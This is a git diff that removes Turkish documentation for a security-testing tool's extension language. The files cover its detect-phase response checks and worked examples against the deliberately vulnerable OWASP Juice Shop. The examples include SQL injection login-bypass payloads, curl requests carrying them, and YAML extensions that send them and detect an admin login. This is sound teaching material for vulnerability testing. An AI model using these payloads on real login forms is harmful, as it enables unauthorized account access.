kullanarak çözümler ve kötü niyetli kişi tarafından kontrol edilen kaynağa erişir. - -## Yanıt - -Bu parametre, test isteğine sunucunun yanıtında gerekli öğelerin bulunup bulunmadığını kontrol eder. Bu öğelerden en az biri bulunursa, bir güvenlik açığının tespit edildiği varsayılır. - -![`response` parametresinin yapısı][img-response] - -* Yanıt herhangi bir işaretleyici içermelidir. - - ``` - - response - ``` - -### HTTP Durumlarının Kontrolü - -![`HTTP Status` parametresinin yapısı][img-http-status] - -* Yanıt belirli bir HTTP durumu içermelidir. - ``` - - response: - - status: value - ``` - - ??? info "Örnek" - `- status: 500` — durumun değeri `500` olmalıdır. - - `- status: '5\d\d'` — bu düzenli ifade, tüm `5xx` durumlarını kapsar. - -* Yanıt listedeki HTTP durumlarından herhangi birini içermelidir. - - ``` - - response: - - status: - - value 1 - - … - - value S - ``` - - ??? info "Örnek" - HTTP durumu aşağıdaki değerlerden birini içermelidir: `500`, `404`, herhangi bir `2xx` durumu. - - ``` - - response: - - status: - - '500' - - '404' - - '2\d\d' - ``` - -### HTTP Başlıklarının Kontrolü - -![`headers` parametresinin yapısı][img-headers] - -* Yanıt başlıkları herhangi bir işaretleyici içermelidir. - - ``` - - response: - - headers - ``` - -* Yanıt başlıkları belirli verileri içermelidir (`value` bir düzenli ifade olabilir). - - ``` - - response: - - headers: value - ``` - - ??? info "Örnek" - * HTTP başlıklarından en az biri alt dizi olarak `qwerty` içermelidir. - - ``` - - response: - - headers: "qwerty" - ``` - - * Bu düzenli ifade, sayısal değere sahip herhangi bir başlığı kapsar. - - ``` - - response: - - headers: '\d+' - ``` - -* Belirli bir yanıt başlığı belirli verileri içermelidir (`header_#` ve `header_#_value` düzenli ifade olabilir). - - ``` - - response: - - headers: - - header_1: header_1_value - - … - - header_N: header_N_value - ``` - - ??? info "Örnek" - `Cookie` başlığı `uid=123` verisini içermelidir. `X-` ile başlayan tüm başlıklar herhangi bir veri içermemelidir. - - ``` - - response: - - headers: - - "Cookie": "uid=123" - - 'X-': "" - ``` - -* Belirli yanıt başlıkları, belirtilen listeden verileri içermelidir (`header_#` ve `header_#_value_#` düzenli ifade olabilir). - - ``` - - response: - - headers: - - header_1: - - header_1_value_1 - - … - - header_1_value_K - - … - - header_N: - - header_N_value_1 - - … - - header_N_value_K - ``` - - ??? info "Örnek" - `Cookie` başlığı aşağıdaki veri seçeneklerinden birini içermelidir: `"test=qwerty"`, `"uid=123"`. `X-` ile başlayan tüm başlıklar herhangi bir veri içermemelidir. - - ``` - - response: - - headers: - - "Cookie": - - "uid=123" - - "test=qwerty" - - 'X-': "" - ``` - -* Detect aşaması ayrıca belirli bir başlığın sunucu yanıtında bulunup bulunmadığını da kontrol edebilir. Bunu yapmak için, ilgili başlığın değerine `null` atayın. - - ``` - - response: - - headers: - - header_X: null - ``` - -### HTTP Yanıt Gövdesinin Kontrolü - -![`body` parametresinin yapısı][img-body] - -* Yanıt gövdesi herhangi bir işaretleyici içermelidir. - - ``` - - response: - - body - ``` - -* Yanıt gövdesi belirli verileri içermelidir (`value` bir düzenli ifade olabilir). - - ``` - - response: - - body: value - ``` - - ??? info "Örnek" - Yanıt gövdesi `STR_MARKER` veya `demo_string` alt dizisini içermelidir. - - ``` - - response: - - body: 'STR_MARKER' - - body: 'demo_string' - ``` - -### HTML İşaretlemesinin Kontrolü - -![`html` parametresinin yapısı][img-html] - -* HTML işaretlemesi `STR_MARKER` içermelidir. - - ``` - - response: - - body: - - html - ``` - -* Yantıda yer alan HTML etiketi `STR_MARKER` içermelidir. - - ``` - - response: - - body: - - html: - - tag - ``` - -* Yantıda yer alan HTML etiketi belirli verileri içermelidir (`value` bir düzenli ifade olabilir). - - ``` - - response: - - body: - - html: - - tag: value - ``` - - ??? info "Örnek" - Yanıtın HTML işaretlemesi `a` etiketini içermelidir. - - ``` - - response: - - body: - - html: - - tag: 'a' - ``` - -* Yantıda yer alan HTML etiketi, belirtilen listeden herhangi bir veriyi içermelidir (`value_#` bir düzenli ifade olabilir). - - ``` - - response: - - body: - - html: - - tag: - - value_1 - - … - - value_R - ``` - - ??? info "Örnek" - Yanıtın HTML işaretlemesi aşağıdaki etiketlerden birini içermelidir: `a`, `img` veya `tr`. - - ``` - - response: - - body: - - html: - - tag: - - 'a' - - 'img' - - 'tr' - ``` - -* Yanıtın HTML özniteliği `STR_MARKER` içermelidir. - - ``` - - response: - - body: - - html: - - attribute - ``` - -* HTML özniteliği belirli verileri içermelidir (`value` bir düzenli ifade olabilir). - - ``` - - response: - - body: - - html: - - attribute: value - ``` - - ??? info "Örnek" - Yanıtın HTML özniteliği ya alt dizi olarak `abc` ya da hesaplama işaretleyicisini içermelidir. - - ``` - - response: - - body: - - html: - - attribute: '(abc|CALC_MARKER)' - ``` - -* Yanıtın HTML özniteliği, belirtilen listeden herhangi bir veriyi içermelidir (`value_#` bir düzenli ifade olabilir): - - ``` - - response: - - body: - - html: - - attribute: - - value_1 - - … - - value_F - ``` - - ??? info "Örnek" - HTML işaretlemesi aşağıdaki özniteliklerden birini içermelidir: `src`, `id` veya `style`. - - ``` - - response: - - body: - - html: - - attribute: - - 'src' - - 'id' - - 'style' - ``` - -!!! info "`attribute` parametresinin kısaltılmış sürümü" - `attribute` parametresi yerine kısaltılmış sürüm olan `attr` kullanılabilir. - -* Yanıtın HREF bağlantısı `STR_MARKER` içermelidir. - - ``` - - response: - - body: - - html: - - href - ``` - -* Yanıtın HREF bağlantısı belirli verileri içermelidir (`value` bir düzenli ifade olabilir). - - ``` - - response: - - body: - - html: - - href: value - ``` - - ??? info "Örnek" - HREF bağlantısı DNS işaretleyicisini içermelidir. - - ``` - - response: - - body: - - html: - - href: 'DNS_MARKER' - ``` - -* Yanıtın HREF bağlantısı, belirtilen listeden herhangi bir veriyi içermelidir (`value_#` bir düzenli ifade olabilir). - - ``` - - response: - - body: - - html: - - href: - - value_1 - - … - - value_J - ``` - - ??? info "Örnek" - HREF bağlantısı alt dizi olarak `google` veya `cloudflare` içermelidir. - - ``` - - response: - - body: - - html: - - href: - - 'google' - - 'cloudflare' - ``` - -* Yanıtın JavaScript belirteçleri `STR_MARKER` içermelidir. - - ``` - - response: - - body: - - html: - - js - ``` - - !!! info "JavaScript belirteçleri" - JavaScript belirteci, `` etiketleri arasında bulunan herhangi bir JavaScript kodudur. - - Örneğin, aşağıdaki betik `wlrm` değerine sahip bir belirteç içerir: - - ``` - - - - ``` - -* Yanıtın JavaScript belirteçleri belirli verileri içermelidir (değer bir düzenli ifade olabilir). - - ``` - - response: - - body: - - html: - - js: value - ``` - - ??? info "Örnek" - JavaScript belirteci `wlrm` değerini içermelidir. - - ``` - - response: - - body: - - html: - - js: 'wlrm' - ``` - -* Yanıtın JavaScript belirteçleri, belirtilen listeden herhangi bir veriyi içermelidir (`value_#` bir düzenli ifade olabilir). - - ``` - - response: - - body: - - html: - - js: - - value_1 - - … - - value_H - ``` - - ??? info "Örnek" - JavaScript belirteci `wlrm` veya `test` değerlerinden birini içermelidir. - - ``` - - response: - - body: - - html: - - js: - - 'wlrm' - - 'test' - ``` \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/detect/phase-detect.md b/docs/latest-tr/fast/dsl/detect/phase-detect.md deleted file mode 100644 index 98dbac93c9..0000000000 --- a/docs/latest-tr/fast/dsl/detect/phase-detect.md +++ /dev/null @@ -1,124 +0,0 @@ -[link-points]: ../points/intro.md -[link-ext-logic]: ../logic.md - -[anchor1]: parameters.md#oob -[anchor2]: parameters.md#response -[anchor3]: parameters.md#checking-the-http-statuses -[anchor4]: parameters.md#checking-the-http-headers -[anchor5]: parameters.md#checking-the-body-of-the-http-response -[anchor6]: parameters.md#checking-the-html-markup - - -# Detect aşaması - -!!! info "Aşamanın kapsamı" - Bu aşama, herhangi bir FAST uzantı türünün çalışması için zorunludur (YAML dosyası `detect` bölümünü içermelidir). - - Uzantı türleri hakkında ayrıntılı bilgiyi [burada][link-ext-logic] okuyun. - -!!! info "İstek öğelerini tanımlama söz dizimi" - Bir FAST uzantısı oluştururken, noktaları kullanarak çalışmanız gereken istek öğelerini doğru şekilde tanımlayabilmek için uygulamaya gönderilen HTTP isteğinin ve uygulamadan alınan HTTP yanıtının yapısını anlamanız gerekir. - - Ayrıntılı bilgi için bu [bağlantıya][link-points] gidin. - -Bu aşama, bir test isteği tarafından bir güvenlik açığının başarıyla istismar edilip edilmediğine ilişkin sonucu çıkarabilmek için sunucu yanıtında aranacak parametreleri belirtir. - -`detect` bölümünün yapısı aşağıdaki gibidir: - -``` -detect: - - oob: - - dns - - response: - - status: - - value 1 - - … - - value S - - headers: - - header 1: - - value 1 - - … - - value T - - header … - - header N: - - value 1 - - … - - value U - - body: - - html: - - tag: - - value 1 - - … - - value V - - attr: - - value 1 - - … - - value W - - attribute: - - value 1 - - … - - value X - - js: - - value 1 - - … - - value Y - - href: - - value 1 - - … - - value Z -``` - -Bu bölüm, parametrelerin bir kümesini içerir. Parametrelerin her biri yanıtın tek bir öğesini açıklar. Bazı parametreler, değer olarak başka parametrelerin bir dizisini içerebilir ve böylece bir hiyerarşi oluşturur. - -Bir parametre aşağıdaki özelliklere sahip olabilir: -* İsteğe bağlı olabilir (parametre istekte bulunabilir veya bulunmayabilir). `detect` bölümündeki tüm parametreler bu özelliği sağlar. - - !!! warning "`detect` bölümünde gerekli olan parametreler hakkında not" - Her iki `oob` ve `response` parametresi isteğe bağlı olsa da, `detect` bölümünde bunlardan birinin bulunması gerekir. Aksi takdirde, Detect aşaması çalışamaz. `detect` bölümü her iki parametreyi de içerebilir. - -* Atanmış bir değere sahip olmayabilir. - - ??? info "Örnek" - ``` - - response - ``` - -* Dize veya sayı olarak belirtilmiş tek bir değere sahip olabilir. - - ??? info "Örnek" - ``` - - status: 500 - ``` - -* Dize veya sayı dizisi olarak belirtilen birden çok atanmış değerden birine sahip olabilir. - - ??? info "Örnek" - ``` - - status: - - 404 - - 500 - ``` - -* Değer olarak başka parametreler içerebilir (parametreler bir dizi olarak belirtilir). - - ??? info "Örnek" - ``` - - headers: - - "Cookie": "example" - - "User-Agent": - - "Mozilla" - - "Chrome" - ``` - -`detect` bölümünün parametreleri için kabul edilebilir değerler aşağıdaki bölümlerde açıklanmıştır: -* [oob][anchor1], -* [response][anchor2], - * [status][anchor3], - * [headers][anchor4], - * [body][anchor5], - * [html][anchor6], - * attr, - * attribute, - * href, - * js, - * tag. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/extensions-examples/app-examination.md b/docs/latest-tr/fast/dsl/extensions-examples/app-examination.md deleted file mode 100644 index 8ad03608eb..0000000000 --- a/docs/latest-tr/fast/dsl/extensions-examples/app-examination.md +++ /dev/null @@ -1,69 +0,0 @@ -[img-login]: ../../../images/fast/dsl/common/extension-examples/ojs_broken.png -[img-wireshark]: ../../../images/fast/dsl/common/extension-examples/wireshark.png - -[link-juice-shop]: https://www.owasp.org/index.php/OWASP_Juice_Shop_Project -[link-ojs-install-manual]: https://pwning.owasp-juice.shop/companion-guide/latest/part1/running.html - -# Örnek Uygulamanın İncelenmesi - -!!! info "Uygulama hakkında birkaç söz" - Bu kılavuz, FAST uzantı mekanizmasının yeteneklerini göstermek için zafiyetli [OWASP Juice Shop][link-juice-shop] uygulamasını kullanır. - - Bu uygulamanın bir örneğine `ojs.example.local` alan adı üzerinden erişilebildiği varsayılmaktadır. Dağıtılan uygulamaya farklı bir alan adı atanmışsa (bkz. [kurulum talimatları][link-ojs-install-manual]), lütfen `ojs.example.local` değerini uygun alan adıyla değiştirin. - Bir FAST uzantısını başarıyla oluşturmak için, zafiyetlerini test edeceğiniz web uygulamasının veya API'nin çalışma mekanizmasını (uygulama veya API'nin iç mimarisi, istek ve yanıt formatı, istisna işleme mantığı vb.) anlamanız gerekir. - -Zafiyetlerin istismarına yönelik potansiyel birkaç yolu bulmak için OWASP Juice Shop uygulamasını inceleyelim. - -Bunu yapmak için, bir tarayıcı kullanarak giriş sayfasına (`http://ojs.example.local/#/login`) gidin, “Email” alanına `'` sembolünü, “Password” alanına `12345` parolasını girin ve “Log in” düğmesine basın. Tarayıcının geliştirici araçları veya Wireshark trafik yakalama yazılımının yardımıyla, “Email” alanında kesme işareti kullanımının sunucuda bir iç hataya neden olduğunu anlayabiliriz. - -Sunucuya yapılan isteğe ait tüm bilgileri analiz ettikten sonra şu sonuçlara varabiliriz: -* Bir kullanıcı giriş yapmaya çalıştığında `POST /rest/user/login` REST API yöntemi çağrılır. -* Giriş bilgileri bu API yöntemine aşağıda gösterildiği gibi JSON formatında aktarılır. - - ``` - { - "email": "'", - "password": "12345" - } - ``` - -Sunucunun yanıtına ait tüm bilgileri analiz ettikten sonra, `email` ve `password` değerlerinin aşağıdaki SQL sorgusunda kullanıldığı sonucuna varabiliriz: - -``` -SELECT * FROM Users WHERE email = ''' AND password = '827ccb0eea8a706c4c34a16891f84e7b' -``` - -Dolayısıyla, OWASP Juice Shop uygulamasının giriş formu üzerinden SQL enjeksiyon saldırılarına (SQLi) karşı savunmasız olabileceğini varsayabiliriz. - -![OWASP Juice Shop uygulamasının giriş formu][img-login] - -!!! info "Zafiyetin istismarı" - İstismar edilebilir zafiyet: SQLi. - - Resmi dokümantasyon, giriş formuna `'or 1=1 -- ` e-postası ve herhangi bir parola girilerek SQLi zafiyetinin istismar edilmesini gösterir. - - Bu saldırıdan sonra web uygulamasına yönetici olarak giriş yapmış olursunuz. - - Alternatif olarak, mevcut yöneticinin e-posta adresini `email` alan değeri olarak içeren bir payload kullanabilirsiniz (`password` alanı herhangi bir değer içerebilir). - - ``` - { - "email": "admin@juice-sh.op'--", - "password": "12345" - } - ``` - Başarılı bir zafiyet istismarının nasıl tespit edileceğini anlamak için, yukarıda belirtilen e-posta ve parola değerlerini kullanarak siteye yönetici olarak giriş yapın. Wireshark uygulamasını kullanarak API sunucusunun yanıtını yakalayın: -* Yanıtın HTTP durumu: `200 OK` (giriş sırasında herhangi bir sorun olursa, sunucu `401 Unauthorized` durumu ile cevap verir). -* Başarılı kimlik doğrulamasını bildiren, JSON formatındaki sunucu yanıtı: - - ``` - { - "authentication": { - "token": "some long token", # token değeri önemli değildir - "bid": 1, # kullanıcının alışveriş sepeti tanımlayıcısı - "umail": "admin@juice-sh.op" # kullanıcının e-posta adresi umail parametresinde tutulur - } - } - ``` - -![Wireshark uygulaması kullanılarak API sunucusunun yanıtının yakalanması][img-wireshark] \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/extensions-examples/mod-extension.md b/docs/latest-tr/fast/dsl/extensions-examples/mod-extension.md deleted file mode 100644 index 04276bf3ca..0000000000 --- a/docs/latest-tr/fast/dsl/extensions-examples/mod-extension.md +++ /dev/null @@ -1,211 +0,0 @@ -[link-app-examination]: app-examination.md -[link-points]: ../points/intro.md -[link-using-extension]: ../using-extension.md -[link-meta-info]: ../create-extension.md#structure-of-the-meta-info-section - -[doc-collect-phase]: ../phase-collect.md -[doc-match-phase]: ../phase-match.md -[doc-modify-phase]: ../phase-modify.md -[doc-generate-phase]: ../phase-generate.md -[doc-detect-phase]: ../detect/phase-detect.md - -[link-juice-shop]: https://www.owasp.org/index.php/OWASP_Juice_Shop_Project - - -# Değiştirici Uzantının Oluşturulması - -Bu belgede açıklanan uzantı, gelen temel isteği değiştirerek içine bazı payload'lar enjekte edecektir. Bu payload'lar, hedef uygulamanın [“OWASP Juice Shop”][link-juice-shop] giriş formundaki SQLi güvenlik açığının sömürülmesine yol açabilir. - -## Hazırlıklar - -Bir FAST uzantısı oluşturmadan önce şu adımların atılması şiddetle önerilir: -1. Uzantıyı oluşturduğunuz [hedef uygulamanın davranışını inceleyin][link-app-examination]. -2. Bir uzantı için [nokta oluşturma prensiplerini okuyun][link-points]. - - -## Uzantının Oluşturulması - -Uzantıyı tanımlayan bir dosya oluşturun (ör. `mod-extension.yaml`) ve gerekli bölümlerle doldurun: - -1. [**`meta-info` bölümü**][link-meta-info]. - - Uzantının tespit etmeye çalışacağı güvenlik açığının açıklamasını hazırlayın. - - * zafiyet başlığı: `OWASP Juice Shop SQLi (mod extension)` - * zafiyet açıklaması: `Demo of SQLi in OWASP Juice Shop (Admin Login)` - * zafiyet türü: SQL enjeksiyonu - * zafiyet tehdit seviyesi: yüksek - - Karşılık gelen `meta-info` bölümü aşağıdaki gibi görünmelidir: - - ``` - meta-info: - - type: sqli - - threat: 80 - - title: 'OWASP Juice Shop SQLi (mod extension)' - - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)' - ``` - -2. **`collect` bölümü, [Collect aşaması][doc-collect-phase]**. - - Giriş yapmaya çalışırken REST API `POST /rest/user/login` yöntemi çağrılır. - - Zafiyet testleri, POST isteğinde iletilen her veri parçası için aynı şekilde gerçekleştirileceğinden, API’ye gönderilen her bir oturum açma amaçlı temel istek için test istekleri oluşturmanıza gerek yoktur. - - Uzantıyı, API oturum açma isteğini aldığında bir kez çalışacak şekilde ayarlayın. Bunu yapmak için uzantıya benzersizlik koşuluna sahip Collect aşamasını ekleyin. - - API’ye oturum açmak için gönderilen `/rest/user/login` isteği şunlardan oluşur: - - 1. yolun `rest` değerine sahip ilk kısmı, - 2. yolun `user` değerine sahip ikinci kısmı ve - 3. `login` işlem yöntemi - - Bu değerlere atıfta bulunan karşılık gelen noktalar aşağıdakilerdir: - - 1. yolun ilk kısmı için `PATH_0_value` - 2. yolun ikinci kısmı için `PATH_1_value` - 3. `login` işlem yöntemi için `ACTION_NAME_value` - - Bu üç öğenin kombinasyonunun benzersiz olması gerektiği koşulunu eklerseniz, uzantı API’ye yapılan ilk `/rest/user/login` temel isteği için çalışacaktır (böyle bir istek benzersiz olarak kabul edilecek ve sonraki tüm oturum açma istekleri benzersiz olmayacaktır). - - Uzantı YAML dosyasına karşılık gelen `collect` bölümünü ekleyin. - - ``` - collect: - - uniq: - - [PATH_0_value, PATH_1_value, ACTION_NAME_value] - ``` - -3. **`match` bölümü, [Match aşaması][doc-match-phase]**. - - Oluşturduğumuz uzantı giriş formunda bulunan güvenlik açıklarını sömüreceği için, gelen temel isteğin gerçekten API’ye yapılan oturum açma isteği olup olmadığını kontrol etmek gereklidir. - - Uzantıyı yalnızca bir temel istek aşağıdaki URI’ı hedeflediğinde çalışacak şekilde yapılandırın: `/rest/user/login`. Alınan isteğin gerekli öğeleri içerip içermediğini kontrol eden Match aşamasını ekleyin. Bu, aşağıdaki `match` bölümü kullanılarak yapılabilir: - - ``` - match: - - PATH_0_value: 'rest' - - PATH_1_value: 'user' - - ACTION_NAME_value: 'login' - ``` - -4. **`modify` bölümü, [Modify aşaması][doc-modify-phase]**. - - Aşağıdaki hedeflere ulaşmak için temel isteğin değiştirilmesinin gerektiğini varsayalım: - * `Accept-Language` HTTP başlık değerini temizlemek (bu değer, zafiyetin tespit edilmesi için gerekli değildir). - * `email` ve `password` parametrelerinin gerçek değerlerini nötr `dummy` değerleriyle değiştirmek. - - Yukarıda açıklanan hedefleri karşılayacak şekilde isteği değiştiren aşağıdaki `modify` bölümünü uzantıya ekleyin: - - ``` - modify: - - "HEADER_ACCEPT-LANGUAGE_value": "" - - "POST_JSON_DOC_HASH_email_value": "dummy" - - "POST_JSON_DOC_HASH_password_value": "dummy" - ``` - - !!! info "İstek öğeleri açıklama söz dizimi" - İstek verileri JSON formatında `` çiftleri halinde tutulduğundan, `email` öğesinin değerine atıfta bulunan nokta yukarıda gösterildiği gibi görünecektir. `password` öğesinin değerine atıfta bulunan nokta benzer bir yapıya sahiptir. - - Noktaların nasıl oluşturulacağı hakkında ayrıntılı bilgi için bu [bağlantıya][link-points] gidin. - -5. **`generate` bölümü, [Generate aşaması][doc-generate-phase]**. - - Hedef uygulamadaki SQL enjeksiyonu güvenlik açığını sömürmek için, temel istekteki `email` parametresinin değerini değiştirmesi gereken iki payload olduğu bilinmektedir: - * `'or 1=1 --` - * `admin@juice-sh.op'--` - - !!! info "Payload'ın değiştirilmiş isteğe eklenmesi" - Uzantı `modify` bölümünü içerdiğinden payload daha önce değiştirilmiş isteğe eklenecektir. Dolayısıyla ilk payload `email` alanına eklendikten sonra test istek verileri aşağıdaki gibi görünmelidir: - - ``` - { - "email": "'or 1=1 --", - "password":"dummy" - } - ``` - - Seçilen payload'lar sayesinde oturum açmak için herhangi bir parola kullanılabildiğinden, Modify aşaması uygulandıktan sonra `dummy` değerine sahip olacak parola alanına payload eklemeye gerek yoktur. - - Yukarıda tartışılan gereksinimleri karşılayan test isteklerini oluşturacak `generate` bölümünü ekleyin. - - ``` - generate: - - payload: - - "'or 1=1 --" - - "admin@juice-sh.op'--" - - into: "POST_JSON_DOC_HASH_email_value" - - method: - - replace - ``` - -6. **`detect` bölümü, [Detect aşaması][doc-detect-phase]**. - - Aşağıdaki koşullar, kullanıcı kimlik doğrulamasının yönetici haklarıyla başarılı olduğunu gösterir: - * Yanıt gövdesinde değeri `1` olan alışveriş sepeti tanımlayıcı parametresinin bulunması. Parametre JSON formatındadır ve aşağıdaki gibi görünmelidir: - - ``` - "bid":1 - ``` - - * Yanıt gövdesinde `admin@juice-sh.op` değerine sahip kullanıcı e-posta parametresinin bulunması. Parametre JSON formatındadır ve aşağıdaki gibi görünmelidir: - - ``` - "umail":"admin@juice-sh.op" - ``` - - Yukarıda açıklanan koşullara göre saldırının başarılı olup olmadığını kontrol eden `detect` bölümünü ekleyin. - - ``` - detect: - - response: - - body: "\"umail\":\"admin@juice-sh.op\"" - - body: "\"bid\":1" - ``` - -!!! info "Özel karakterlerin kaçışlanması" - Dizelerdeki özel karakterleri kaçışlamayı unutmayın. - -## Uzantı Dosyası - -Artık `mod-extension.yaml` dosyası, uzantının çalışması için gereken bölümlerin tam setini içeriyor. Dosya içeriğinin listesi aşağıdadır: - -??? info "mod-extension.yaml" - ``` - meta-info: - - type: sqli - - threat: 80 - - title: 'OWASP Juice Shop SQLi (mod extension)' - - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)' - - collect: - - uniq: - - [PATH_0_value, PATH_1_value, ACTION_NAME_value] - - match: - - PATH_0_value: 'rest' - - PATH_1_value: 'user' - - ACTION_NAME_value: 'login' - - modify: - - "HEADER_ACCEPT-LANGUAGE_value": "" - - "POST_JSON_DOC_HASH_email_value": "dummy" - - "POST_JSON_DOC_HASH_password_value": "dummy" - - generate: - - payload: - - "'or 1=1 --" - - "admin@juice-sh.op'--" - - into: "POST_JSON_DOC_HASH_email_value" - - method: - - replace - - detect: - - response: - - body: "\"umail\":\"admin@juice-sh.op\"" - - body: "\"bid\":1" - ``` - -## Uzantının Kullanımı - -Oluşturulan ifadeyi nasıl kullanacağınız hakkında ayrıntılı bilgi için [bu belgeyi][link-using-extension] okuyun. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/extensions-examples/non-mod-extension.md b/docs/latest-tr/fast/dsl/extensions-examples/non-mod-extension.md deleted file mode 100644 index 69b39f7c09..0000000000 --- a/docs/latest-tr/fast/dsl/extensions-examples/non-mod-extension.md +++ /dev/null @@ -1,161 +0,0 @@ -[link-meta-info]: ../create-extension.md#structure-of-the-meta-info-section -[link-send-headers]: ../phase-send.md -[link-using-extension]: ../using-extension.md -[link-app-examination]: app-examination.md - -[doc-send-phase]: ../phase-send.md -[doc-detect-phase]: ../detect/phase-detect.md - -[link-juice-shop]: https://www.owasp.org/index.php/OWASP_Juice_Shop_Project - - - -# Değişiklik Yapmayan Uzantının Oluşturulması - -Bu belgede açıklanan uzantı, içine payload enjekte etmek için gelen temel (baseline) isteği değiştirmeyecektir. Bunun yerine, temel istekte belirtilen ana makineye önceden tanımlı iki test isteği gönderilecektir. Bu test istekleri, hedef uygulama [“OWASP Juice Shop”][link-juice-shop]’un oturum açma formundaki SQLi zafiyetinin istismarına yol açabilecek payload’lar içerir. - - -## Hazırlıklar - -FAST uzantısını oluşturmadan önce [hedef uygulamanın davranışını araştırmanız][link-app-examination] şiddetle önerilir. - - -## Uzantının Oluşturulması - -Uzantıyı tanımlayan bir dosya oluşturun (ör. `non-mod-extension.yaml`) ve gerekli bölümlerle doldurun: - -1. [**`meta-info` bölümü**][link-meta-info]. - - Uzantının tespit etmeye çalışacağı zafiyetin açıklamasını hazırlayın. - - * zafiyet başlığı: `OWASP Juice Shop SQLi (non-mod extension)` - * zafiyet açıklaması: `Demo of SQLi in OWASP Juice Shop (Admin Login)` - * zafiyet türü: SQL enjeksiyonu - * zafiyet tehdit seviyesi: yüksek - - İlgili `meta-info` bölümü aşağıdaki gibi görünmelidir: - - ``` - meta-info: - - type: sqli - - threat: 80 - - title: 'OWASP Juice Shop SQLi (non-mod extension)' - - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)' - ``` - -2. **`send` bölümü, [Send aşaması][doc-send-phase]** - - Hedef uygulamadaki SQL enjeksiyonu zafiyetini istismar etmek için, herhangi bir `password` değeriyle birlikte `email` parametre değerinde gönderilmesi gereken iki payload vardır: - - * `'or 1=1 --` - * `admin@juice-sh.op'--` - - İkisinin her biri aşağıdakileri içeren iki test isteği hazırlayabilirsiniz: - - * yukarıda açıklanan değerlerden birine sahip `email` parametresi ve - * rastgele bir değere sahip `password` parametresi. - - Örnek hedef uygulamayı (OWASP Juice Shop) test etmek için bu isteklerden sadece birini kullanmanız yeterlidir. - - Ancak, gerçek bir uygulamanın güvenlik testlerini yürütürken birkaç önceden hazırlanmış test isteğinden oluşan bir kümeye sahip olmak faydalı olabilir: uygulamadaki güncellemeler ve iyileştirmeler sayesinde isteklerden biri bir zafiyeti artık istismar edemiyorsa, kullanılan diğer payload’lar nedeniyle zafiyeti hâlâ istismar edebilecek diğer test istekleri mevcut olacaktır. - - Yukarıdaki listedeki ilk payload ile istek aşağıdakine benzer: - - ``` - curl --request POST --url http://ojs.example.local/rest/user/login \ - --header 'content-type: application/json' \ - --header 'host: ojs.example.local' \ - --data '{"email":"'\''or 1=1 --", "password":"12345"}' - ``` - - İkinci istek de ilkine benzer görünür: - - ``` - curl --request POST --url http://ojs.example.local/rest/user/login \ - --header 'content-type: application/json' \ - --header 'host: ojs.example.local' \ - --data '{"email":"admin@juice-sh.op'\''--", "password":"12345"}' - ``` - - Bu iki test isteğinin tanımlarını içeren `send` bölümünü ekleyin: - - ``` - send: - - method: 'POST' - url: '/rest/user/login' - headers: - - 'Content-Type': 'application/json' - body: '{"email":"''or 1=1 --","password":"12345"}' - - method: 'POST' - url: '/rest/user/login' - headers: - - 'Content-Type': 'application/json' - body: '{"email":"admin@juice-sh.op''--","password":"12345"}' - ``` - - !!! info "`Host` başlığı hakkında bir not" - Bu zafiyetin istismarını etkilemediği için bu isteklerde `Host` başlığı atlanabilir. Bir FAST düğümü, gelen temel istekten çıkarılan `Host` başlığını otomatik olarak ekleyecektir. - - Send aşamasının isteğin başlıklarını nasıl ele aldığını [buradan][link-send-headers] okuyun. - - 3. **`detect` bölümü, [Detect aşaması][doc-detect-phase]**. - - Aşağıdaki koşullar, yönetici haklarıyla kullanıcı kimlik doğrulamasının başarılı olduğunu gösterir: - - * Yanıt gövdesinde değeri `1` olan alışveriş sepeti tanımlayıcı parametresinin bulunması. Parametre JSON formatındadır ve aşağıdaki gibi görünmelidir: - - ``` - "bid":1 - ``` - - * Yanıt gövdesinde değeri `admin@juice-sh.op` olan kullanıcı e-posta parametresinin bulunması. Parametre JSON formatındadır ve aşağıdaki gibi görünmelidir: - - ``` - "umail":"admin@juice-sh.op" - ``` - - Yukarıda açıklanan koşullara göre saldırının başarılı olup olmadığını kontrol eden `detect` bölümünü ekleyin. - - ``` - detect: - - response: - - body: "\"umail\":\"admin@juice-sh.op\"" - - body: "\"bid\":1" - ``` - -!!! info "Özel sembollerin kaçışlanması" - Dizelerdeki özel sembolleri kaçışlamayı unutmayın. - -## Uzantı Dosyası - -Artık `non-mod-extension.yaml` dosyası, uzantının çalışması için gereken bölümlerin eksiksiz bir setini içeriyor. Dosya içeriğinin listesi aşağıda gösterilmiştir: - -??? info "non-mod-extension.yaml" - ``` - meta-info: - - type: sqli - - threat: 80 - - title: 'OWASP Juice Shop SQLi (non-mod extension)' - - description: 'Demo of SQLi in OWASP Juice Shop (Admin Login)' - - send: - - method: 'POST' - url: '/rest/user/login' - headers: - - 'Content-Type': 'application/json' - body: '{"email":"''or 1=1 --","password":"12345"}' - - method: 'POST' - url: '/rest/user/login' - headers: - - 'Content-Type': 'application/json' - body: '{"email":"admin@juice-sh.op''--","password":"12345"}' - - detect: - - response: - - body: "\"umail\":\"admin@juice-sh.op\"" - - body: "\"bid\":1" - ``` - -## Uzantının Kullanımı - -Oluşturulan ifadenin nasıl kullanılacağı hakkında ayrıntılı bilgi için [bu belgeyi][link-using-extension] okuyun. \ No newline at end of file diff --git a/docs/latest-tr/fast/dsl/extensions-examples/overview.md b/docs/latest-tr/fast/dsl/extensions-examples/overview.md deleted file mode 100644 index 998b59d7dc..0000000000 --- a/docs/latest-tr/fast/dsl/extensions-examples/overview.md +++ /dev/null @@ -1,32 +0,0 @@ -[link-points]: ../points/intro.md -[link-mod-extension]: mod-extension.md -[link-non-mod-extension]: non-mod-extension.md -[link-app-examination]: app-examination.md -[link-juice-shop]: https://www.owasp.org/index.php/OWASP_Juice_Shop_Project -[link-juice-shop-deploy]: https://github.com/bkimminich/juice-shop#setup -[link-juice-shop-docs]: https://pwning.owasp-juice.shop/companion-guide/latest/ -[link-using-extension]: ../using-extension.md - - -# FAST Uzantıları Örnekleri: Genel Bakış - -FAST uzantı mekanizmasının yeteneklerini göstermek için güvenlik açıkları barındıran [OWASP Juice Shop][link-juice-shop] web uygulaması kullanılacaktır. - -Bu uygulama birden fazla şekilde [dağıtılabilir][link-juice-shop-deploy] (örneğin Docker, Node.JS veya Vagrant kullanılarak). - -İçerdiği güvenlik açıklarını listeleyen OWASP Juice Shop 